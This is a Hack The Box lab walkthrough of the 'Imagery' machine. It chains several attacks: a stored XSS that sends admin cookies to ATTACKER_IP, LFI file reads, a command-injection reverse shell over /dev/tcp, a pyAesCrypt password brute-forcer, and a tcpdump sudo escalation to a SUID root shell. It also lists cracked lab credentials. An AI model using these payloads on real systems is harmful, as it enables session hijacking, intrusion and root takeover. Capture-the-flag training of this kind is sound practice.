Machine: Imagery
Platform: Hack The Box
Difficulty: Medium
OS: Linux
Focus: Web exploitation, stored XSS leading to admin session hijacking, LFI via log viewer, full source code review, command injection in image processing, credential extraction from encrypted backups, and privilege escalation through misconfigured cron functionality
Introduction
Imagery is a Linux machine from Hack The Box that heavily focuses on web application analysis and source code review.
The attack path requires chaining multiple vulnerabilities, including stored XSS, local file inclusion, command injection, and misconfigured scheduled tasks, making it an excellent machine to practice real-world web exploitation methodology.
Initial Setup
To simplify interaction with the target, we first assign a hostname to the machine IP:
10.10.11.XX imagery.htb
This ensures consistent resolution during scanning and browser-based testing.
Before proceeding, we verify connectivity:
ping imagery.htb
It is always good practice to confirm VPN stability early to avoid false negatives during enumeration.
Since this machine is expected to expose a web service, we prepare:
- A browser configured with a proxy
- Burp Suite for request inspection and modification
Enumeration
Port Scanning
We begin by scanning all TCP ports using RustScan for speed, delegating service detection to Nmap:
rustscan -a imagery.htb -r 1-65535 -- -A
The results reveal the following open services:
22/tcp open ssh OpenSSH 9.7p1
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
The SSH service appears fully patched, so the attack surface is most likely the web service running on port 8000.
Web Application Analysis
Accessing http://imagery.htb:8000 reveals an image gallery application that allows users to upload images and share them via generated links.
Directory Enumeration
We enumerate directories using dirsearch:
dirsearch -u http://imagery.htb:8000/
Results include:
/images
/login
/logout
/register
/uploads/affwp-debug.log
/uploads/dump.sql
Nothing immediately exploitable appears from directory enumeration alone.
Upload Functionality Review
The application allows image uploads but strictly validates file types.
Initial attempts to bypass the upload filter fail, suggesting that basic MIME and extension checks are enforced.
At this stage, no direct upload vulnerability is identified.
Bug Report Feature — Stored XSS
Further exploration reveals a bug report feature accessible via the footer.
Submitting a test payload and intercepting the request shows promising behavior.
We submit the following XSS payload:
<img src=x onerror="new Image().src='http://ATTACKER_IP:8000/?c='+encodeURIComponent(document.cookie)">
We start a listener on our system:
python3 -m http.server 8000
Shortly after submission, a request is received containing an admin session cookie.
Admin Access
Using the stolen cookie, we authenticate as an administrator.
The admin panel provides access to:
- User logs
- Bug report logs
Inspecting admin logs reveals downloadable resources accessed via parameters.
Local File Inclusion (LFI) via System Log Viewer
While exploring the administrative interface, a System Log viewer is exposed within the admin panel.
The functionality allows administrators to retrieve application logs by specifying a filename through a URL parameter, following a pattern similar to:
/admin/get_system_log?log_identifier=app.log
This immediately suggests a potential Local File Inclusion (LFI) vulnerability, as user-controlled input appears to be directly used to load files from the filesystem.
Confirming Directory Traversal
To validate the presence of LFI, the original log filename is replaced with a classic directory traversal payload:
../../../../../../etc/passwd
When issuing the request with this payload, the response successfully returns the contents of the /etc/passwd file.
This confirms that directory traversal is possible and that LFI is present.
At this point, the application is vulnerable to arbitrary local file disclosure.
Leveraging LFI for Application Reconnaissance
Rather than immediately attempting code execution, the primary objective is to understand the application internals.
Using the confirmed LFI, we can retrieve sensitive files such as:
- Application source code
- Configuration files
- Credential stores
- Internal logs
In particular, the following files are highly valuable:
api_edit.py→ contains image processing logicdb.json→ stores user credentials and metadata
File Exfiltration via LFI
With an authenticated admin session, files can be exfiltrated directly using curl while reusing the session cookie.
Example commands:
curl "http://<target>/admin/get_system_log?log_identifier=../api_edit.py" \
--cookie "session=<ADMIN_SESSION_COOKIE>" \
-o api_edit.py
curl "http://<target>/admin/get_system_log?log_identifier=../db.json" \
--cookie "session=<ADMIN_SESSION_COOKIE>" \
-o db.json
These requests instruct the application to read files outside the intended log directory, returning their contents in the HTTP response.
Source Code Review
Reviewing app.py, we observe several imported modules:
api_authapi_uploadapi_editapi_adminapi_misc
Examining config.py reveals key paths:
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
Inspecting db.json reveals user credentials:
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false
}
Cracking the hash yields:
testuser@imagery.htb : iambatman
Logging in as this user unlocks additional experimental features.
Remote Code Execution via Command Injection
After exfiltrating and reviewing api_edit.py, we identify a critical command injection vulnerability in the image cropping functionality.
Vulnerable Code (api_edit.py)
x = params.get('x')
y = params.get('y')
width = params.get('width')
height = params.get('height')
command = f"convert {filepath} -crop {width}x{height}+{x}+{y} {new_filepath}"
subprocess.run(command, shell=True, check=True)
The application builds a shell command using unsanitized user input and executes it with shell=True.
Because the parameters x, y, width, and height are directly embedded into the command string, any injected shell metacharacters are interpreted by the system shell.
This is a textbook command injection vulnerability.
Exploiting the Vulnerability
The vulnerable endpoint is triggered when a user edits an uploaded image and applies a crop transformation.
Intercepting the Request (Burp Suite)
- Upload a valid image.
- Navigate to Gallery → Transform → Crop.
- Enable Burp Intercept and submit the crop.
- Send the captured request to Burp Repeater for controlled testing.
The intercepted request looks like this:
{
"imageId": "<image-id>",
"transformType": "crop",
"params": {
"x": "0",
"y": 0,
"width": 640,
"height": 640
}
}
Command Injection Payload
We replace the numeric x parameter with a shell injection payload.
Because the value is inserted directly into a shell command, we can terminate the argument and execute arbitrary commands.
Example payload injected into x:
"x": "; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' ;"
This results in the backend executing a command equivalent to:
convert image.png -crop 640x640+;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1';+0 output.png
Triggering the Reverse Shell
Before sending the modified request from Burp Repeater, we start a listener:
nc -lvnp 4444
Once the request is forwarded, the injected command is executed and the server connects back, giving us a reverse shell.
Shell Stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
At this point, we have a fully interactive shell on the target system.
Post-Exploitation
Exploring the filesystem reveals backup files under /var/backup, including an encrypted .aes archive.
Encrypted Backup Exfiltration and AES Decryption
Files with this extension are typically created using AES-Crypt, a utility that encrypts files using the AES symmetric encryption algorithm with a password.
Because this file is stored locally on the system and is readable by our compromised user, the first step is to exfiltrate the encrypted archive to our attacking machine for offline analysis.
Exfiltrating the Encrypted File
On the target machine, we can temporarily expose the file using a simple HTTP server:
python3 -m http.server 8080
From our attacker machine, we download the encrypted backup:
wget http://TARGET_IP:8080/web_20250806_120723.zip.aes
At this point, we have full offline access to the encrypted file and can safely perform password attacks without interacting further with the target system.
Identifying the Encryption Format
The .aes extension strongly suggests AES-Crypt, a popular cross-platform encryption tool.
AES-Crypt uses AES-256 in CBC mode and derives the encryption key directly from a password, which makes it vulnerable to offline brute-force attacks if weak or reused passwords are used.
Brute-Forcing the AES Password
To recover the contents of the encrypted archive, we brute-force the password using the RockYou wordlist and the pyAesCrypt Python library.
Brute-Force Script Example
import pyAesCrypt
import sys
import os
bufferSize = 64 * 1024
encFile = 'web_20250806_120723.zip.aes'
decFile = 'decrypted_backup.zip'
with open('/usr/share/wordlists/rockyou.txt', 'rb') as wordlist:
for line in wordlist:
password = line.strip().decode(errors='ignore')
try:
pyAesCrypt.decryptFile(encFile, decFile, password, bufferSize)
print(f"[+] Password found: {password}")
sys.exit(0)
except ValueError:
if os.path.exists(decFile):
os.remove(decFile)
continue
Analyzing the Decrypted Backup
After successful decryption, the resulting file is a ZIP archive:
unzip decrypted_backup.zip
Inside the archive, we discover another db.json file containing credentials for the user mark, which are later reused for privilege escalation:
mark : supersmash
Switching users:
su mark
User flag is obtained in the file user.txt
Privilege Escalation
Checking sudo privileges:
sudo -l
We discover that tcpdump can be executed as root without a password.
By abusing tcpdump’s file rotation feature, we execute a script as root.
Command setup:
COMMAND='cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
Execution:
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
We then execute:
/tmp/rootbash -p
Root access is obtained.
Root Flag
cd /root
cat root.txt
Lessons Learned
- Always inspect hidden features and footer functionality
- Stored XSS can lead to privilege escalation
- Source code review is critical in Python web apps
- Backup files often expose sensitive data
- Misconfigured scheduled or privileged binaries are common privesc vectors
Reference
This write-up is based on my own analysis and learning process.
Expanded notes, scripts, and references: https://github.com/lameiro0x/pentesting-path-htb